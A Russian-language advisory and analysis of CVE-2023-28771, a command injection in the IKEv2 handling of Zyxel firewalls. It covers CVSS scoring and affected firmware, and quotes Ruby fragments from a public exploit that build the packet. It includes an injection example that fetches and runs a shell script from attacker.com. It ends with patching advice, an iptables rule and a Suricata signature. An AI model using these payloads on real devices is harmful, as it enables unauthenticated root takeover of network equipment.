
Уязвимость BDU:2023-02782 (CVE-2023-28771) Zyxel ZyWALL/USG, VPN, USG FLEX, ATP
Уязвимость BDU:2023-02782 (CVE-2023-28771) в сетевых устройствах Zyxel (серии ATP, USG FLEX, VPN) связана с некорректной обработкой данных в микропрограммном обеспечении при декодировании пакетов IKEv2. Из-за отсутствия санитизации входных данных злоумышленник может внедрить произвольные команды ОС через UDP-пакет, отправленный на порт 500. Уязвимость оценивается как критическая (CVSS 9.8), так как позволяет выполнить код с правами root без аутентификации.
Анализ уязвимости
Уровень опасности: КРИТИЧЕСКИЙ (9.8)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-
AV:N (Attack Vector) - Сетевой: Уязвимость может быть эксплуатирована через сеть (например, интернет).
-
AC:L (Attack Complexity) - Низкая: Для атаки не требуется сложных условий или специальных настроек.
-
PR:N (Privileges Required) - Не требуются: Злоумышленнику не нужны привилегии в системе.
-
UI:N (User Interaction) - Не требуется: Эксплуатация уязвимости не требует участия пользователя.
-
S:U (Scope) - Неизменён: Уязвимость затрагивает только ресурсы в пределах одного компонента.
-
C:H (Confidentiality Impact) - Высокий: Полная компрометация конфиденциальности данных.
-
I:H (Integrity Impact) - Высокий: Полная компрометация целостности данных.
-
A:H (Availability Impact) - Высокий: Полная компрометация доступности системы или данных.
Условия эксплуатации
-
Доступ к WAN-интерфейсу: Атака возможна удалённо через интернет, если порт 500 открыт на WAN (например, для VPN).
-
Версия прошивки: Устройство должно работать на уязвимых версиях (например, ATP 4.60–5.35, USG FLEX 4.60–5.35).
-
Конфигурация по умолчанию: Уязвимость присутствует в стандартных настройках, что увеличивает риск массовых атак.
Уязвимые версии
- Zyxel ATP100 от 4.60 до 5.36
- Zyxel ATP100W от 4.60 до 5.35
- Zyxel ATP200 от 4.60 до 5.36
- Zyxel ATP500 от 4.60 до 5.36
- Zyxel ATP700 от 4.60 до 5.36
- Zyxel ATP800 от 4.60 до 5.36
- Zyxel USG FLEX 100 от 4.60 до 5.36
- Zyxel USG FLEX 100W от 4.60 до 5.36
- Zyxel USG FLEX 200 от 4.60 до 5.36
- Zyxel USG FLEX 50(W) от 4.60 до 5.36
- Zyxel USG FLEX 500 от 4.60 до 5.36
- Zyxel USG FLEX 700 от 4.60 до 5.36
- Zyxel VPN100 от 4.60 до 5.36
- Zyxel VPN1000 от 4.60 до 5.36
- Zyxel VPN300 от 4.60 до 5.36
- Zyxel VPN50 от 4.60 до 5.36
- Zyxel USG 310 от 4.60 до 4.73
- Zyxel USG 110 от 4.60 до 4.73
- Zyxel USG FLEX 50 от 4.60 до 5.36
Технический анализ эксплоита
Эксплоит из общего доступа использует уязвимость BDU:2023-02782 (CVE-2023-28771) в обработке Notification Payload пакетов IKEv2. Код формирует специальный UDP-пакет, содержащий инъекцию команды в поле Notification Data.
Ключевые элементы кода
-
Формирование вредоносного пакета IKEv2:
ikev2_payload = [0].pack('C') ikev2_payload << [0].pack('C') ikev2_payload << [8 + (haxb48.length + cmd_injection.length)].pack('n') ikev2_payload << [1].pack('C') ikev2_payload << [0].pack('C') ikev2_payload << [14].pack('n') ikev2_payload << haxb48 + cmd_injection
Здесь
haxb48
— это статическая строка, которая после декодирования через DES-CBC превращается в безвредный текст, аcmd_injection
содержит команду для выполнения (например,";bash -c \"#{cmd}\";echo -n \""
). -
Инъекция команды:
Устройство логирует полученные данные без проверки, что позволяет интерпретировать символы"; ..."
как команды Bash. Пример:";bash -c \"curl http://attacker.com/shell | sh\";echo -n \""
-
Отправка пакета:
Пакет отправляется на порт 500 через UDP. Так как IKE-трафик часто разрешён на периметровых устройствах, это делает атаку реализуемой извне.
Почему это работает?
-
Устройство декодирует поле
Notification Data
и записывает его в лог-файл. -
Из-за отсутствия экранирования специальных символов (например,
;
,"
) команды выполняются через оболочку. -
Процесс
/sbin/sshipsecpm
(ответственный за обработку IKE) работает с правами root, что обеспечивает полный контроль над устройством.
Примеры уязвимых сценариев
-
Удалённая атака через интернет:
Если администратор оставил порт 500 открытым для подключения VPN, злоумышленник может атаковать устройство без доступа к внутренней сети. -
Локальная эксплуатация:
Внутри корпоративной сети атака возможна даже при закрытом WAN-порте, если злоумышленник имеет доступ к LAN.
Способы защиты
-
Обновление прошивки:
Установите версии, устраняющие уязвимость. -
Блокировка порта 500 на WAN:
Если VPN не используется, ограничьте доступ к порту 500 через фаерволл:iptables -A INPUT -p udp --dport 500 -j DROP
-
Мониторинг сетевой активности:
Используйте IDS/IPS для обнаружения подозрительных IKE-пакетов. Пример правила Suricata:alert udp any any -> any 500 (msg:"CVE-2023-28771 Exploit Attempt"; content:"|3A 29 20 08|"; offset: 16; depth: 4;)
-
Аудит логов:
Проверяйте логи на наличие аномальных записей, связанных с процессомsshipsecpm
:grep "sshipsecpm" /var/log/messages
